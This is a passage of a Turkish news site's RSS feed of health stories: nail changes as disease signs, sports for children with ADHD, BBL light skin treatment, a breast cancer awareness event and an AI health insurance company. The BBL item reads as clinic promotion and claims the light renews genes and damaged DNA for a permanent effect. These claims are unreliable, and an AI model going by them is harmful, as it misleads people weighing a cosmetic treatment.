romatizmal hastalıklarda da ortaya çıkabiliyor” diyor. Parmak uçlarının şişmesi ve tırnağın saat camı gibi kabararak parmakların davul tokmağına benzediği çomak parmakların ise akciğer, kalp, tiroid, karaciğer ve bağırsak hastalıkların belirtisi olabileceğini hatırlatan Öztürk, tırnakların uçlardan kolay kırılması, kopması ya da uçlardan kendiliğinden deriden ayrılması, ellerin oje çıkarıcılar, sabunlar ve deterjanlarla sık temas etmesi ile oluşabileceği gibi tiroid bezinin az veya çok çalışması, enfeksiyonlar ve beslenme bozukluklarından dolayı da görülebildiğini aktarıyor.</span></span></p>  <p><span><span>Tırnaklarda nokta ya da çizgi şeklinde beyaz lekeler sağlıklı kişilerde ortaya çıkabileceği gibi verem, böbrek enfeksiyonları gibi hastalıkların veya kanserin habercisi olabiliyor. Tırnaklarda siyah ya da kahverengi renk değişiklikleri siyah ırkta normal olarak gelişebiliyor ama beyaz ırkta genelde travma sonrası, sistemik hastalık ya da kullanılan ilaçlara bağlı olarak ortaya çıkıyor. Bunların dışında sedef hastalığı başta olmak üzere egzama, liken plan gibi çok sayıda deri hastalığı tırnakları etkiliyor, renk ve şekil bozukluklarına neden oluyor. </span></span></p>  <p><span><span>Yetişkinlerde ayak parmak araları ve ayak tırnaklarında mantar hastalıkları çok sık görüldüğünün altını çizen Uzm. Dr. Abdullah Öztürk, bu durumun tırnaklarda kalınlaşma, kırılma, sarı-kahverengi-siyah renk değişikliklerine neden olduğuna dikkat çekiyor. Uzm. Dr. Abdullah Öztürk şöyle devam ediyor: “Tırnak yatağından gelişen malign melanom tırnakta siyah renk, şekil bozukluğu ve tümör oluşumuna neden olan tehlikeli bir kanserdir. Tırnaklarda oluşan renk ve şekil bozuklukları ihmal edilmemeli, önemli bir hastalığın belirtisi olabileceği hatırlanmadır. Gecikmeden bir dermatoloji uzmanı başvurulmalıdır ve erken tanı hastalıkların ilerlemeden tedavisini sağlayabileceği gibi özellikle kanserli hastalarda hayat kurtarıcı olabilir.”</span></span></p>Kaynak: (BYZHA) - Beyaz Haber Ajansı</p><p style="text-align: center; ">Haberi Kaynağından oku: <a href="https://beyazhaberajansi.com/haber-tirnaktaki-renk-ve-bicim-degisimleri-hastaliklarin-habercisi-olabilir-67416.html">Beyaz Haber Ajansı</a></p><p style="text-align: left;">Not : <font color="#969494" face="verdana, arial"><span style="font-size: 11px;">Bu haber </span></font><span style="color: rgb(249, 249, 249); font-size: 15px; text-indent: -9px; background-color: rgb(54, 121, 173);">BEYAZ Haber Ajansı</span><font color="#969494" face="verdana, arial"><span style="font-size: 11px;"> </span></font><span style="font-size: 11px; color: rgb(150, 148, 148); font-family: verdana, arial;">internet sitesinden, Yeniistiklal.com editörlerinin hiçbir editoryal müdahalesi olmadan otomatik olarak geldiği şekliyle alınmıştır. Bu haberlerin hukuki muhatabı haber kaynaklarıdır. Haberlerle ilgili her tür şikayetinizi yeniistiklal@gmail.com adresimize gönderebilirsiniz.</span></p>]]></content:encoded>
                <pubDate>Wed, 26 Oct 2022 10:42:05 +0300</pubDate>
                <enclosure type="image/jpeg" url="https://www.yeniistiklal.com/public/index.php/images/haberler/2022/10/tirnaktaki-renk-ve-bicim-degisimleri-hastaliklarin-habercisi-olabilir-d23eCMx1.jpg"/>
            </item>
                                <item>
                <title>DEHB’li çocuklar sporun hangi branşıyla ilgilenmeli</title>
                <category>Sağlık</category>
                <link>https://www.yeniistiklal.com/public/index.php/haber/dehbli-cocuklar-sporun-hangi-bransiyla-ilgilenmeli-547123</link>
                <guid>https://www.yeniistiklal.com/public/index.php/haber/dehbli-cocuklar-sporun-hangi-bransiyla-ilgilenmeli-547123</guid>
                <description><![CDATA[Tekvando ve karate gibi dövüş sporları ile jimnastik ve yüzme tavsiye ediliyor Yapılan araştırmaların düzenli spor yapan DEHB’li çocuklarda da ...]]></description>
                <content:encoded><![CDATA[<p><p><span><span><strong>Tekvando ve karate gibi dövüş sporları ile jimnastik ve yüzme tavsiye ediliyor</strong></span></span></p>  <p><span><span><strong>Yapılan araştırmaların düzenli spor yapan DEHB’li çocuklarda da agresiflik ve hiperaktivitenin azaldığını gösterdiğine dikkat çeken Uzman Klinik Psikolog Dr. Gökçe Vogt, çocuğa uygun spor branşının seçilmesini tavsiye ediyor. DEHB’li çocukların genel olarak takım sporlarından çok yüzme, jimnastik ve dövüş sporları gibi bireysel sporlardan daha fazla fayda sağlayabildiğini kaydeden Dr. Gökçe Vogt, tekvando ve karate gibi dövüş sanatlarının ideal bir branş olduğunu, jimnastiğin odaklanmayı geliştirdiğini söyledi.</strong></span></span></p>  <p><span><span>Üsküdar Üniversitesi NPİSTANBUL Hastanesi Uzman Klinik Psikolog Dr. Gökçe Vogt, DEHB’li çocuklarda sporun etkisine ilişkin değerlendirmede bulundu.</span></span></p>  <p><span><span>Uzman Klinik Psikolog Dr. Gökçe Vogt, Dikkat Eksikliği ve Hiperaktivite Bozukluğunun (DEHB) milyonlarca çocuğu etkileyen ve sıklıkla yetişkinliğe kadar devam eden kronik bir durum olduğunu söyledi.</span></span></p>  <p><span><span><strong>Dikkati sürdürmede güçlük yaşıyorlar</strong></span></span></p> <p><span><span>DEHB’nin, dikkati sürdürme zorluğu, hiperaktivite ve dürtüsel davranış gibi kalıcı sorunların bir kombinasyonunu içerdiğini belirten Uzman Klinik Psikolog Dr. Gökçe Vogt, “Semptomlar yeterince şiddetli olduğunda ve çocuğun hayatının birden fazla alanında devam eden sorunlara neden olabilmektedir. DEHB’li çocuklar dikkatlerinin kolayca dağılması, talimatları takip etmekte güçlük yaşamaları, kolayca hayal kırıklığına uğramaları ve dürtüsel hareket etmelerinden dolayı spor aktivitelerinde de güçlük yaşamaktadırlar.” dedi. </span></span></p>  <p><span><span><strong>Sporun sayısız faydası bulunuyor</strong></span></span></p> <p><span><span>Sporun çocukların gelişimi üzerinde sayısız faydası bulunduğunu hatırlatan Uzman Klinik Psikolog Dr. Gökçe Vogt, “Yapılan araştırmalar düzenli spor yapan DEHB’li çocuklarda da agresiflik ve hiperaktivitenin azaldığını göstermektedir ancak DEHB organizasyonu, mekânsal farkındalığı ve oyunun kuralları, stratejilerini öğrenmeyi etkileyen güçlüğe yol açabildiğinden DEHB'li çocukların spor aktivitelerine dâhil olması her zaman kolay olmamaktadır.” dedi.</span></span></p>  <p><span><span><strong>Çocuğa uygun spor branşı bulunmalıdır</strong></span></span></p> <p><span><span>Kaybeden bir takımda yer almanın DEHB’li çocuk açısından zorlayıcı olabildiğini belirten Uzman Klinik Psikolog Dr. Gökçe Vogt, “Her ne kadar kaybetmeyi öğrenme, hayat boyu önemli bir kazanım olsa da bu çocuğun büyük ihtimalle saldırganlaşmasına yol açacağından sosyal alanda çok daha büyük sıkıntılar yaşamasına yol açabilmektedir. İşin püf noktası, her çocuğa uygun sporun bulunmasıdır. Bu gerekçe ile DEHB’li çocuklar genel olarak yüzme, dövüş sporları gibi bireysel sporlardan takım sporlarından oranla daha fazla fayda sağlayabilmektedirler.” dedi. </span></span></p>  <p><span><span><strong>Koça önce bilgi verilmeli</strong></span></span></p> <p><span><span>Bireysel sporlarda DEHB’li çocukların koç ve antrenörlerden bireysel ilgi gördüğü için çok daha başarılı olduğunu ifade eden Uzman Klinik Psikolog Dr. Gökçe Vogt, “Koç ile birebir çalışma, çocuğun daha kolay odaklanmasına yol açmaktadır. Bir koçla güçlü ve anlayışlı bir ilişki de çocuğu motive edebilmektedir.  Ancak koçların DEHB hakkında çok az bilgisi olabilir. Bu sebeple çocuğun özel ihtiyaçları hakkında koçla konuşmak çok değerlidir. İster bir takım ister bireysel bir spor olsun, anlayışlı bir koç ile çocuğun deneyimi olumlu yönde değişecektir.” dedi.</span></span></p>  <p><span><span><strong>Dövüş sanatları ideal bir spor dalı</strong></span></span></p> <p><span><span>Bireysel sporlar arasında özellikle tekvando, karate gibi dövüş sanatlarının özellikle DEHB’li çocuklar için ideal olduğunu kaydeden Uzman Klinik Psikolog Dr. Gökçe Vogt, “Dövüş sanatlarında çocuklara öz kontrol, öz disiplin ve konsantrasyon öğretilmektedir. Her rutin, ayrıntılara çok dikkat edilerek uygulanmaktadır ve çocuk her dövüş sanatı rutininde adım adım ustalaşmaktadır. Ek olarak dövüş sanatları, her dersin başında ve sonunda eğitmenlere boyun eğmek gibi saygıyı teşvik eden ritüellere sahiptir. Bu aynı zamanda çocuklara otoriteyi kabul etmeyi öğretmeye yardımcı olabilir.” dedi.</span></span></p>  <p><span><span><strong>Jimnastik odaklanmayı geliştiriyor</strong></span></span></p> <p><span><span>Yüzmenin, DEHB'li bir çocuğun rehberlik ve yapı konusunda başarılı olmasına yardımcı olmada harika bir yol olduğunu ifade eden Uzman Klinik Psikolog Dr. Gökçe Vogt, “Yüzme aynı zamanda her yaşta öğrenilebilecek değerli bir yaşam becerisidir. Jimnastik rutinleri, yakın dikkat ve vücut hareketlerinin tutulmasını gerektirir ve DEHB'li çocukların odaklanmayı geliştirmelerine yardımcı olur. Jimnastikteki rutinler ve ekipmanlar, ergoterapide kullanılan ekipmanlara benzer. Bunlar, çocuğun kas farkındalığı ve denge duygusu geliştirmesine yardımcı olur.” dedi.</span></span></p>  <p><span><span>Uzman Klinik Psikolog Dr. Gökçe Vogt, tenisin de enerji, güç ve koordinasyon gerektirdiğini kaydeden DEHB'li çocuklar için mükemmel, hızlı tempolu bir oyun olduğunu söyledi.</span></span></p>  <p><span><span><strong>Yapmak istediği sporla ilgili mutlaka konuşulmalı</strong></span></span></p> <p><span><span>Çocuk için uygun olduğu düşünülen spor ne olursa olsun başlamadan önce onunla bu konunun mutlaka konuşulmasını tavsiye eden Uzman Klinik Psikolog Dr. Gökçe Vogt, sözlerini şöyle tamamladı: “İlk olarak onun hangi sporu yapmak, öğrenmek istediği önemlidir. Çocuğunuza kendisinden ne beklendiğini ve ders sırasında kendisinden ne beklendiğini net bir şekilde ifade ettiğinizden emin olun. Ve yeni bir şey deniyorlarsa, çocuğunuzun yeni bir şeye başlama konusunda endişeli olabileceğini unutmayın.”</span></span></p>Kaynak: (BYZHA) - Beyaz Haber Ajansı</p><p style="text-align: center; ">Haberi Kaynağından oku: <a href="https://beyazhaberajansi.com/haber-dehb-li-cocuklar-sporun-hangi-bransiyla-ilgilenmeli-67370.html">Beyaz Haber Ajansı</a></p><p style="text-align: left;">Not : <font color="#969494" face="verdana, arial"><span style="font-size: 11px;">Bu haber </span></font><span style="color: rgb(249, 249, 249); font-size: 15px; text-indent: -9px; background-color: rgb(54, 121, 173);">BEYAZ Haber Ajansı</span><font color="#969494" face="verdana, arial"><span style="font-size: 11px;"> </span></font><span style="font-size: 11px; color: rgb(150, 148, 148); font-family: verdana, arial;">internet sitesinden, Yeniistiklal.com editörlerinin hiçbir editoryal müdahalesi olmadan otomatik olarak geldiği şekliyle alınmıştır. Bu haberlerin hukuki muhatabı haber kaynaklarıdır. Haberlerle ilgili her tür şikayetinizi yeniistiklal@gmail.com adresimize gönderebilirsiniz.</span></p>]]></content:encoded>
                <pubDate>Tue, 25 Oct 2022 16:30:06 +0300</pubDate>
                <enclosure type="image/jpeg" url="https://www.yeniistiklal.com/public/index.php/images/haberler/2022/10/dehbli-cocuklar-sporun-hangi-bransiyla-ilgilenmeli-MxyFGlO1.jpg"/>
            </item>
                                <item>
                <title>BBL ile yapılan tedavi, gen haritasını etkiliyor</title>
                <category>Sağlık</category>
                <link>https://www.yeniistiklal.com/public/index.php/haber/bbl-ile-yapilan-tedavi-gen-haritasini-etkiliyor-547096</link>
                <guid>https://www.yeniistiklal.com/public/index.php/haber/bbl-ile-yapilan-tedavi-gen-haritasini-etkiliyor-547096</guid>
                <description><![CDATA[Yaz mevsiminin tüm güzelliklerini ardımızda bıraktığımız günlerdeyiz. Mevsim güzelliği ardımızda kalmış olabilir ama bu cildimizi de yazdan kalma ...]]></description>
                <content:encoded><![CDATA[<p><p><span><span>Yaz mevsiminin tüm güzelliklerini ardımızda bıraktığımız günlerdeyiz. Mevsim güzelliği ardımızda kalmış olabilir ama bu cildimizi de yazdan kalma bir şekilde sonbahara emanet edeceğimiz anlamına gelmemeli. Güneşin de o kadar masum olmamasından kaynaklı cildimizde oluşturduğu bir takım hasarlar olabiliyor. Özellikle sonbahar-kış dönemleri de bu hasarları onarmak için en ideal zaman. Bu dönemde BBL teknolojisi ile cildinizi eski kalitesine yeniden kavuşturabilirsiniz. Unutmayın ki düzenli olarak uygulanan cilt bakım yöntemleri sizi yaza hazırlar. Kişinin gen haritasını etkileyen ve buna bağlı olarak cildi moleküler seviyede değiştiren ve aynı zamanda genç ciltle ilişkili olduğu bilinen yüzlerce geni aktif hale getiren BBL tedavisi hakkında <strong>Kaliteli Yaşam Kliniği Medikal Estetik Hekimi Dr. Yasemin Savaş</strong> önemli ipuçları veriyor.</span></span></p>  <p><span><span><strong>Peki nedir BBL Tedavisi?</strong><br/> Cildini yenilemek ve ona istediği ilgiyi göstermek isteyen kadınların şu sıralar sıklıkla başvurduğu bir yöntem BBL. Cildini gençleştirmek ve bunu da ameliyatsız yapmak isteyenlerin tercih ettiği <strong>BBL (Broad Band Light)</strong> özel bir ışık kaynağından oluşuyor. Bu ışık kaynağı sayesinde genetiğinizi yenileyerek cildinizin hem daha genç hem de daha parlak görünmesini sağlayabiliyorsunuz. “Geniş band ışık” anlamına gelen BBL, aynı zamanda da FDA onaylı.</span></span></p> <p><br/> <br/> <span><span><strong>Dr. Yasemin Savaş ‘</strong>BBL uygulamasının sonuçları hem hekim olarak beni hem de cildini gençleştirmek isteyen hastalarımızı memnun ediyor. Çünkü düzenli <strong>BBL</strong> uygulaması, cildi yenileyip gençleştirirken, cilt yaşlanmasını da doğal yollarla uyararak geciktiriyor’ diyor ve ekliyor ;</span></span></p>  <p><span><span><strong>BBL,</strong>  aynaya baktığınızda kendinizi daha genç hissetmenizin yanına bir de kendinizi gerçekten öyle görmenizi sağlayacak şekilde gen yapısını yenileyen bir ışık kaynağı. Aynı zamanda kolajen birikimi ve elastikiyette artış ile ince kırışıklıklarda, pigmentasyon düzensizliklerinde, lekelerde, damarsal kaynaklı kızarıklıklarda da düzelme sağlıyor.</span></span></p>  <p><span><span>Cildin uzun dönemli yaşlanma belirtilerini azaltan ve yeni problemlerin oluşumlarını geciktiren ışık kaynağı ile her güne daha ışıltılı başlayacaksınız.</span></span></p>  <p><span><span><strong>BBL nasıl etki eder?</strong><br/> Tedavide kullandığımız cihaz, cildin üst tabakalarına ışık enerjisi gönderiyor, bu ışık enerjisi cildin katmanlarını hafif biçimde ısıtıyor. Hedeflenen bölgelerdeki cilt katmanları tarafından kademe kademe emilen bu ısı enerjisi var olan hücrelerin kolajen üretimlerini tetikleyerek, cildi daha sıkı bir görünüme kavuşturuyor. BBL, ilk uygulamada yüzünüzdeki değişimi size gösteren bir uygulama.</span></span></p> <p><br/> <br/> <span><span><strong>Hangi amaçla kullanılır?</strong><br/> Çevresel faktörlere açık olan yüz, dekolte bölgesi, el üzeri, boyun bölgesi gibi alanlarda;</span></span></p>  <ul> <li><span><span>Cilt sıkılaştırma işlemlerinde</span></span></li> <li><span><span>İnce kırışıklıkları gidermede</span></span></li> <li><span><span>Cilt tonu eşitleme işlemlerinde</span></span></li> <li><span><span>Ciltte parlaklık ve canlılık sağlama</span></span></li> <li><span><span>Güneş lekesi, yaşlılığa bağlı oluşan lekeler veya doğum lekelerinin tedavisinde</span></span></li> <li><span><span>Rozasea (Kırmızı yanak) tedavisinde</span></span></li> <li><span><span>Akne tedavisinde</span></span></li> <li><span><span>Kılcal damar çatlağı tedavisindebaşvurulan bir tedavi yöntemi.</span></span><br/>  </li> </ul> <p><span><span><strong>Tedaviyi kimler yaptırabilir?</strong></span></span></p> <ul> <li><span><span>Cildindeki leke, kırışıklık, rozasea, akne, kılcal damar çatlağı gibi cilt problemlerinden kurtulmak isteyen herkese <strong>BBL </strong>tedavisini öneriyoruz.</span></span></li> <li><span><span>Güneş ya da solaryum aracılığı ile bronzlaşmış cilde sahip kişilerin tedaviden faydalanmaları için ciltlerinin doğal rengine dönmesini beklemelerini tavsiye ediyoruz.</span></span></li> <li><span><span>Kalp pili, hamileler ve cilt kanseri olan kişiler için kullanılmasını önermiyoruz.</span></span><br/>  </li> </ul> <p><span><span><strong>Tedavi kalıcı mıdır? Etkisi ne kadar sürer?</strong><br/> Cilt dokusu, çevresel tahribata uğradıkça dokudaki DNA yapısı bozulur ve bu bozulma sonucu ciltte, kırışıklıklar, yaşlanma belirtileri, lekeler gibi dejeneratif problemler meydana gelir. <strong>BBL tedavisinin temel hedefi</strong>, bozulan DNA’daki gen yapısını yenilemek.  Gen yapısının yenilenmesi,tedavinin kalıcı bir etki ile sonuçlanması anlamına geliyor.</span></span></p>  <p><span><span>Klinik çalışmalar sonucu, düzenli yapılan BBL tedavisinin, ciltte yer alan uzun dönemli yaşlanma belirtilerini azalttığı ve yeni problemlerin oluşumlarını geciktirdiği gözlemlenmiştir.</span></span></p>  <p><span><span><strong>BBL tedavi süresince ağrı acı hissedilir mi?</strong><br/> Çok konforlu bir uygulama olan BBL tedavisi sırasında ağrı veya acı hissetmezsiniz. Lokal anestezi gerektirmeyen bir işlemdir.</span></span></p>  <p><span><span><strong>Tedavi sonrası iyileşme süresi nedir? Nelere dikkat etmek gerekir?</strong><br/> Tedaviden sonra hemen iyileşme sürecine girildiğinden dolayı sosyal hayatınızı etkileyecek bir durum söz konusu değil. Planlarınızı iptal etmenize ya da ertelemenize gerek yok.</span></span></p>  <p><span><span>Ama dikkat etmeniz gerek çok önemli bir konu var. Tedaviden sonra cildinizin direkt güneş ışınlarından veya ultraviyole ışınlarından korunması gerekiyor. Bu nedenle güneş kreminizi sürmeden dışarıya çıkmayın.</span></span></p>Kaynak:  (BYZHA) - Beyaz Haber Ajansı</p><p style="text-align: center; ">Haberi Kaynağından oku: <a href="https://beyazhaberajansi.com/haber-bbl-ile-yapilan-tedavi-gen-haritasini-etkiliyor-67353.html">Beyaz Haber Ajansı</a></p><p style="text-align: left;">Not : <font color="#969494" face="verdana, arial"><span style="font-size: 11px;">Bu haber </span></font><span style="color: rgb(249, 249, 249); font-size: 15px; text-indent: -9px; background-color: rgb(54, 121, 173);">BEYAZ Haber Ajansı</span><font color="#969494" face="verdana, arial"><span style="font-size: 11px;"> </span></font><span style="font-size: 11px; color: rgb(150, 148, 148); font-family: verdana, arial;">internet sitesinden, Yeniistiklal.com editörlerinin hiçbir editoryal müdahalesi olmadan otomatik olarak geldiği şekliyle alınmıştır. Bu haberlerin hukuki muhatabı haber kaynaklarıdır. Haberlerle ilgili her tür şikayetinizi yeniistiklal@gmail.com adresimize gönderebilirsiniz.</span></p>]]></content:encoded>
                <pubDate>Tue, 25 Oct 2022 15:30:04 +0300</pubDate>
                <enclosure type="image/jpeg" url="https://www.yeniistiklal.com/public/index.php/images/haberler/2022/10/bbl-ile-yapilan-tedavi-gen-haritasini-etkiliyor-RId9wyEG.jpg"/>
            </item>
                                <item>
                <title>Kadın Eli Değsin İhtimaller Değişsin</title>
                <category>Sağlık</category>
                <link>https://www.yeniistiklal.com/public/index.php/haber/kadin-eli-degsin-ihtimaller-degissin-547087</link>
                <guid>https://www.yeniistiklal.com/public/index.php/haber/kadin-eli-degsin-ihtimaller-degissin-547087</guid>
                <description><![CDATA[Türkiye’nin lider ve uzman iç giyim markası Penti, Meme Kanseri Farkındalık ayında Meme Sağlığı Derneği (MEMEDER) ve Roche Türkiye ile el ele ...]]></description>
                <content:encoded><![CDATA[<p><p><span><span><strong><span>Türkiye’nin lider ve uzman iç giyim markası Penti, Meme Kanseri Farkındalık ayında Meme Sağlığı Derneği (MEMEDER) ve Roche Türkiye ile el ele vererek kadınları meme kanserinde ihtimalleri değiştirmeye davet ediyor.</span></strong></span></span></p>  <p><span><span><span>Tüm dünyada ‘Meme Kanseri Farkındalık Ayı’ olarak kabul edilen Ekim ayı boyunca, meme kanseri ile mücadelede erken tanının önemine dikkat çekmek ve farkındalık yaratmak amacıyla çeşitli etkinlikler düzenleniyor. </span></span></span></p>  <p><span><span><span>Kadınları en iyi anlayan marka Penti ise bu yıl meme kanseri bilinçlendirme çalışmaları kapsamında Meme Sağlığı Derneği (MEMEDER) ve Roche Türkiye ile bir araya geliyor. </span></span></span></p>  <p><span><span><span>Roche Türkiye’nin MEMEDER iş birliğiyle hayata geçirdiği “Kadın Eli Değsin İhtimaller Değişsin” kampanyası ile tüm kadınlara “Var mısın İhtimalleri Değiştirmeye” sloganıyla seslenen markaya destek veren Penti; tüm kadınları meme kanserini sembolize eden ‘Pembe Kurdele Takma Günü’ olan 26 Ekim'de Vadistanbul AVM’deki Penti mağazasına davet ediyor.  </span></span></span></p>  <p><span><span><em><strong><span>Meme Sağlığı Farkındalık Etkinliği 26 Ekim’de Vadistanbul Mağazası’nda </span></strong></em></span></span></p> <p><span><span><span>Penti’nin destekçisi olduğu “Kadın Eli Değsin İhtimaller Değişsin” kampanyası ile kadınların meme kanserine yönelik semptomları nasıl belirleyebileceğine ilişkin farkındalık yaratmak amaçlanıyor. Kampanya kapsamında, 26 Ekim’de 14</span>.<span>30- 16</span>.<span>30 saatleri arasında Vadistanbul AVM’deki Penti mağazasında Çağla Şıkel moderatörlüğünde gerçekleşecek etkinlikte, MEMEDER Yönetim Kurulu Üyesi Prof. Dr. Beyza Özçınar meme kanserinde erken tanının ve kendi kendine meme muayenesinin önemini aktararak merak edilen soruları yanıtlayacak.</span></span></span></p>  <p><span><span><span>Penti kampanya kapsamında 15 yıldır Türkiye’de meme kanserinde erken tanı, tarama ve tedaviye yönelik projeler üreterek toplumu meme sağlığı ve hastalıkları konusunda bilinçlendiren ve </span><span>40</span><span>-49 yaş arası kadınların ücretsiz mamografi çektirmesini sağlayan Meme Sağlığı Derneği (MEMEDER) ile de iş birliği yaparak mağaza içlerinde meme kanseri hakkında bilgi veren kartlar ve anonslarla farkındalık yaratmayı hedefliyor. </span></span></span></p>Kaynak: (BYZHA) - Beyaz Haber Ajansı</p><p style="text-align: center; ">Haberi Kaynağından oku: <a href="https://beyazhaberajansi.com/haber-kadin-eli-degsin-ihtimaller-degissin-67347.html">Beyaz Haber Ajansı</a></p><p style="text-align: left;">Not : <font color="#969494" face="verdana, arial"><span style="font-size: 11px;">Bu haber </span></font><span style="color: rgb(249, 249, 249); font-size: 15px; text-indent: -9px; background-color: rgb(54, 121, 173);">BEYAZ Haber Ajansı</span><font color="#969494" face="verdana, arial"><span style="font-size: 11px;"> </span></font><span style="font-size: 11px; color: rgb(150, 148, 148); font-family: verdana, arial;">internet sitesinden, Yeniistiklal.com editörlerinin hiçbir editoryal müdahalesi olmadan otomatik olarak geldiği şekliyle alınmıştır. Bu haberlerin hukuki muhatabı haber kaynaklarıdır. Haberlerle ilgili her tür şikayetinizi yeniistiklal@gmail.com adresimize gönderebilirsiniz.</span></p>]]></content:encoded>
                <pubDate>Tue, 25 Oct 2022 15:16:03 +0300</pubDate>
                <enclosure type="image/jpeg" url="https://www.yeniistiklal.com/public/index.php/images/haberler/2022/10/kadin-eli-degsin-ihtimaller-degissin-j4MpS1kY.jpg"/>
            </item>
                                <item>
                <title>Sağlık, sigorta destek ve danışmanlık hizmetlerinde yapay zeka dönemi</title>
                <category>Sağlık</category>
                <link>https://www.yeniistiklal.com/public/index.php/haber/saglik-sigorta-destek-ve-danismanlik-hizmetlerinde-yapay-zeka-donemi-547086</link>
                <guid>https://www.yeniistiklal.com/public/index.php/haber/saglik-sigorta-destek-ve-danismanlik-hizmetlerinde-yapay-zeka-donemi-547086</guid>
                <description><![CDATA[HIMSS’in yayımladığı rapora göre sağlık kuruluşlarının 80’inin 5 yıl içinde teknoloji yatırımlarını artırması beklenirken, hastalar sigorta ...]]></description>
                <content:encoded><![CDATA[<p><p><span><span><strong>HIMSS</strong>’<strong>in yayımladığı rapora göre sağlık kuruluşlarının 80</strong>’<strong>inin 5 yıl içinde teknoloji yatırımlarını artırması beklenirken, hastalar sigorta alanında da kullanıcı dostu teknolojiler talep ediyor. İsviçre merkezli şirket ise yapay zeka destekli çözümleriyle sağlık hizmetlerine yeni bir soluk getirirken, ülkemizi bu alanda dünyanın merkezine haline getirmeyi hedefliyor.</strong></span></span></p>  <p><span><span>Pandemiyle hız kazanan dijitalleşme, sağlık sektöründe de daha fazla hissedilmeye başlandı. HIMSS’in (Sağlık Bilgi ve Yönetim Sistemleri Topluluğu) sağlık hizmetlerinin geleceğine ışık tutan raporuna göre, klinikler ve özel hastaneler gibi sağlık kuruluşlarının 80’i önümüzdeki 5 yıl içinde dijital sağlık hizmetlerine yatırımlarını artırmayı planlıyor. Katılımcıların 47’si dijitalleşmenin kurum yapılanmasında ilk sırada yer aldığını aktarırken, hastalar da yalnız sağlık değil, sigorta alanında da kullanıcı dostu teknolojiler talep ediyor.</span></span></p>  <p><span><span>2022’nin üçüncü çeyreğinde sigorta desteği hizmetleri ile sağlık sektörüne hızlı bir giriş yapan İsviçre merkezli sağlık, sigorta destek ve danışmanlık hizmetleri şirketi EMED International, yapay zeka destekli uygulamalarıyla Türkiye pazarındaki yerini aldı. Şirket, sağlık sigortacılığı alanındaki yapay zeka destekli çalışmalarıyla kurumların ve hastaların ihtiyaçlarına cevap verirken, sağlık turizminde de ülkemizin dünyanın önemli merkezlerinden birine dönüşmesine katkıda bulunmayı hedefliyor.</span></span></p>  <p><span><span>Müşteri odaklı ve teknoloji merkezli çözümlerinin yer aldığı Sağlık, sigorta destek ve danışmanlık hizmetleri ile sektöre yeni bir soluk getirdiklerini belirten EMED International Yönetim Kurulu Başkan Vekili Dr. Ruhsan Topçu konuya dair düşüncelerini şu sözlerle açıkladı: “Teknolojinin sürekli olarak gelişmesi, hastaların sağlık hizmetlerine yönelik taleplerine doğru çözümün bulunması gittikçe zorlaşıyor. Biz de müşteri ilişkileri yönetimi, risk analizi gibi destek hizmetlerinden, ambulans gibi asistans hizmetlerine kadar yapay zeka destekli çözümlerimizle kurumların yönetim süreçlerine verimlilik katıyoruz. Ayrıca sağlık turizmi organizasyonlarına da odaklanıyoruz.”</span></span></p>  <p><span><span><strong>Sağlık hizmetlerinde yapay zeka dönemi</strong></span></span></p> <p><span><span>Geliştirdikleri projelerle birlikte tamamlayıcı sağlık sigortasının sektöre kazandırılmasında önemli bir rol oynadıklarını söyleyen EMED International Yönetim Kurulu Başkan Vekili Dr. Ruhsan Topçu, “Yapay zeka destekli geliştirdiğimiz projelerle hem sağlık kurumları hem de hastalar için çevik bir yapı oluşturuyoruz. İsviçreli hissedarımızdan aldığımız güçle hem Türkiye’de hem de yurt dışında faaliyetlerimizi artırarak sektörün gelişimine katkıda bulunuyoruz. Bu yönde birçok iş ortaklığına imza atarak hedeflerimize de adım adım yürüyoruz. 2022 boyunca pazar payında ilk 10’a giren sigorta şirketleri ile asistans hizmetleri veya ek paketler odaklı işbirliği yaparak sektörün öncü şirketi olarak konumlanmak istiyoruz” dedi.</span></span></p>  <p><span><span><strong>Sağlık turizminde de hizmet verecek</strong></span></span></p> <p><span><span>Global şirketlerin sağlık alanındaki henüz keşfedilmemiş ihtiyaçlarını saptayarak yeni çalışma modelleri geliştireceklerine dikkat çeken Dr. Ruhsan Topçu, “Bireylerin hem koruyucu hem de rehabilite edici hizmetler almaları için iş ortağı olduğumuz sağlık turizmi şirketlerinin, gelecek dönemde Türkiye’ye yapacakları ziyaretlerinde ekip olarak tüm süreci biz yöneteceğiz. Ülkemizin bu alandaki tüm kaslarını geliştirip, global çapta değer kazanmasını misyon ediniyoruz. Katma değeri en yüksek olan alanlardan biri olan sağlık turizminin ülke ekonomisine katkısını da üst seviyeye taşımayı hedefliyoruz” şeklinde konuştu.</span></span></p>Kaynak: (BYZHA) - Beyaz Haber Ajansı</p><p style="text-align: center; ">Haberi Kaynağından oku: <a href="https://beyazhaberajansi.com/haber-saglik-sigorta-destek-ve-danismanlik-hizmetlerinde-yapay-zeka-donemi-67340.html">Beyaz Haber Ajansı</a></p><p style="text-align: left;">Not : <font color="#969494" face="verdana, arial"><span style="font-size: 11px;">Bu haber </span></font><span style="color: rgb(249, 249, 249); font-size: 15px; text-indent: -9px; background-color: rgb(54, 121, 173);">BEYAZ Haber Ajansı</span><font color="#969494" face="verdana, arial"><span style="font-size: 11px;"> </span></font><span style="font-size: 11px; color: rgb(150, 148, 148); font-family: verdana, arial;">internet sitesinden, Yeniistiklal.com editörlerinin hiçbir editoryal müdahalesi olmadan otomatik olarak geldiği şekliyle alınmıştır. Bu haberlerin hukuki muhatabı haber kaynaklarıdır. Haberlerle ilgili her tür şikayetinizi yeniistiklal@gmail.com adresimize gönderebilirsiniz.</span></p>]]></content:encoded>
                <pubDate>Tue, 25 Oct 2022 15:15:06 +0300</pubDate>
                <enclosure type="image/jpeg" url="https://www.yeniistiklal.com/public/index.php/images/haberler/2022/10/saglik-sigorta-destek-ve-danismanlik-hizmetlerinde-yapay-zeka-donemi-vvWtieLd.jpg"/>
            </item>
                                <item>
                <title>Bebekler için 11 beslenme önerisi</title>
                <category>Sağlık</category>
                <link>https://www.yeniistiklal.com/public/index.php/haber/bebekler-icin-11-beslenme-onerisi-547043</link>
                <guid>https://www.yeniistiklal.com/public/index.php/haber/bebekler-icin-11-beslenme-onerisi-547043</guid>
                <description><![CDATA[Bebeklerde ek gıdaya geçişte tuzdan uzak durulmalı Bebeklerin sağlıklı ve düzenli beslenmesi gelişimleri için oldukça önemli. Bebeklerin 6’ncı ...]]></description>
